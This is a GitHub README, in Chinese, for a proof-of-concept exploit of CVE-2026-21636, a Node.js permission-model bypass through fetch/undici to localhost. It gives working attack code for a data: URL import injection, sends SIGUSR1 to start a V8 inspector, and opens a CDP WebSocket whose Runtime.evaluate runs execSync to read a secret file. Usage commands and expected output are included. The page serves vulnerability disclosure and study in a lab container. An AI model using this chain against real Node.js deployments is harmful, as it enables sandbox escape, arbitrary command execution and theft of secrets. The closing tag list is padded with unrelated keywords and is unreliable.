Pauldechassey/CVE-2026-21636
GitHub: Pauldechassey/CVE-2026-21636
CVE-2026-21636 的完整利用 PoC,揭示 Node.js 权限模型中 undici/fetch 对本地网络连接未做权限校验,从而实现沙箱逃逸与横向代码执行。
Stars: 0 | Forks: 0
# CVE-2026-21636 - Node.js 权限模型 UDS/网络绕过
## 漏洞摘要
Node.js **权限模型** (`--permission`) 旨在通过限制对文件系统、子进程、worker 和网络的访问来沙箱化进程。**CVE-2026-21636** 揭示了通过 `undici`/`fetch`(以及 `net`/`tls`)向 **Unix Domain Sockets** 和本地 TCP 地址发起的连接会完全绕过网络防护,即使未设置 `--allow-net` 也是如此。
能够将任意 JavaScript 注入到运行于 `--permission`(但未设置 `--allow-net` 或 `--allow-child-process`)环境下的进程中的攻击者可以:
1. 连接到本应不可达的特权本地服务。
2. 通过该服务进行横向移动,在沙箱外执行任意命令。
## 环境架构
在 `supervisord` 管理下,容器内并行运行着两个进程:
| 进程 | 用户 | 标志 | 权限 |
|---|---|---|---|
| `target.cjs` | `app` | 无 | 完整的 Node.js API,无沙箱 |
| `server.mjs` | `app` | `--permission --allow-fs-read=/` | 完整的文件系统读取权限 — **无网络、无 child_process、无 worker** |
`target.cjs` 在启动时将其自身的 PID 写入 `/tmp/target.pid`,然后无限循环(闲置的受害者进程)。`server.mjs` 在 `:8000` 上公开了一个 Express 服务器,包含一个 `/pid` 端点和一个存在漏洞的 `/language` 端点。
`/app/secret.txt` 由 `app` 用户所有(`chmod 444`)。这两个进程在操作系统层面都可以访问它。该漏洞利用并不依赖于文件权限屏障——它演示了尽管 `server.mjs` 缺少 `--allow-net`,仍可以通过 `fetch()`/`WebSocket` 访问 `127.0.0.1:9229`,并在未沙箱化的 `target.cjs` 进程内执行任意代码。通过 CDP 读取 `secret.txt` 就是代码执行的证据。
## 入口点 - `POST /language`
```
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
```
服务器对用户控制的字符串执行 **动态 `import()`**。Node.js 的 `import()` 原生支持 `data:` URL 方案:
```
data:text/javascript,
```
服务器追加的 `/index.js` 后缀通过在 payload 末尾附加 `//` 来中和(将其作为 URL 注释 / 被忽略的路径片段处理)。
这实现了 **在沙箱进程内执行任意 JavaScript** - 即利用 CVE-2026-21636 的入口点。
## 权限模型 - 允许与禁止的内容
服务器启动参数如下:
```
node --permission --allow-fs-read=/ /app/server.mjs
```
| 权限 | 状态 |
|---|---|
| `--allow-fs-read=/` | 已授予(完全读取) |
| `--allow-fs-write` | **已拒绝** |
| `--allow-net` | **已拒绝**(实验性功能,未设置) |
| `--allow-child-process` | **已拒绝** |
| `--allow-worker` | **已拒绝** |
| `--allow-inspector` | **已拒绝** |
其意图是:即使攻击者在 `server.mjs` 内部运行代码,他们也无法访问网络、生成进程或访问 inspector。
CVE-2026-21636 突破了 **`--allow-net`** 的边界。
## 攻击链(3 步)
### 步骤 1 - 获取目标 PID
```
GET /pid → { "pid": }
```
`target.cjs` 在启动时将其自身的 PID 写入 `/tmp/target.pid`。服务器将其公开。这标识了将用作 CDP 中继的受害者进程。
这也可以通过在入口点注入 JS 来完成;为了简化操作,我直接创建了 `/pid` 端点。
### 步骤 2 - 通过 SIGUSR1 激活 `target.cjs` 上的 V8 inspector
通过 `POST /language` 注入的 Payload(作为 `data:` URL):
```
process.kill(, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: };
```
当 Node.js 进程收到 **SIGUSR1** 时,它会启动(或恢复)其 V8/CDP 调试器并开始监听:
```
127.0.0.1:9229
```
因为 `target.cjs` **在没有 `--permission` 的情况下**运行,其 inspector 拥有完全的权限 - 它可以评估任何表达式,包括 `require('child_process').execSync(...)`。
发送信号(`process.kill`)不受权限模型的限制,因此此步骤可以从沙箱内部成功执行。
### 步骤 3 - 连接到 CDP 并执行命令 (CVE-2026-21636)
通过 `POST /language` 注入的第二个 payload:
```
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
```
**为什么在缺少 `--allow-net` 的情况下这仍然有效:**
Node.js 中的 `fetch()` 由 **undici** 实现。CVE-2026-21636 表明,undici 针对 `http://127.0.0.1:...`(以及 UDS `socketPath` 选项)的连接路径 **没有** 经过权限模型的网络检查。沙箱认为没有发起任何出站网络访问,但到 `:9229` 的 TCP 连接却成功建立了。
CDP 的 `Runtime.evaluate` 调用运行在 **未沙箱化的** `target.cjs` 进程内部,因此 `require('child_process')` 可用,并且 `execSync` 可以自由执行。
## 完整漏洞利用流程
```
attacker (Python script)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
```
## 用法
```
# 构建并启动环境
docker compose up --build -d
# 运行 exploit
python3 exploit.py
```
预期输出:
```
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
```
## 参考文献
- [NVD - CVE-2026-21636](https://nvd.nist.gov/vuln/detail/CVE-2026-21636)
- [Node.js 权限模型文档](https://nodejs.org/api/permissions.html)
- [V8 Inspector / CDP 协议](https://chromedevtools.github.io/devtools-protocol/)
- [undici - Node.js 内置 HTTP 客户端](https://undici.nodejs.org/)
标签:CDP, Chrome DevTools Protocol, CSP绕过, CVE-2026-21636, Express, fetch API, GNU通用公共许可证, IPC, MITM代理, net模块, Node.js, RCE, Supervisord, TCP连接, tls模块, UDS, undici, Unix域套接字, Web安全, Web报告查看器, XXE攻击, 动态import, 本地提权, 权限绕过, 沙箱逃逸, 编程工具, 网络安全, 蓝队分析, 请求拦截, 进程间通信, 远程代码执行, 逆向工具, 隐私保护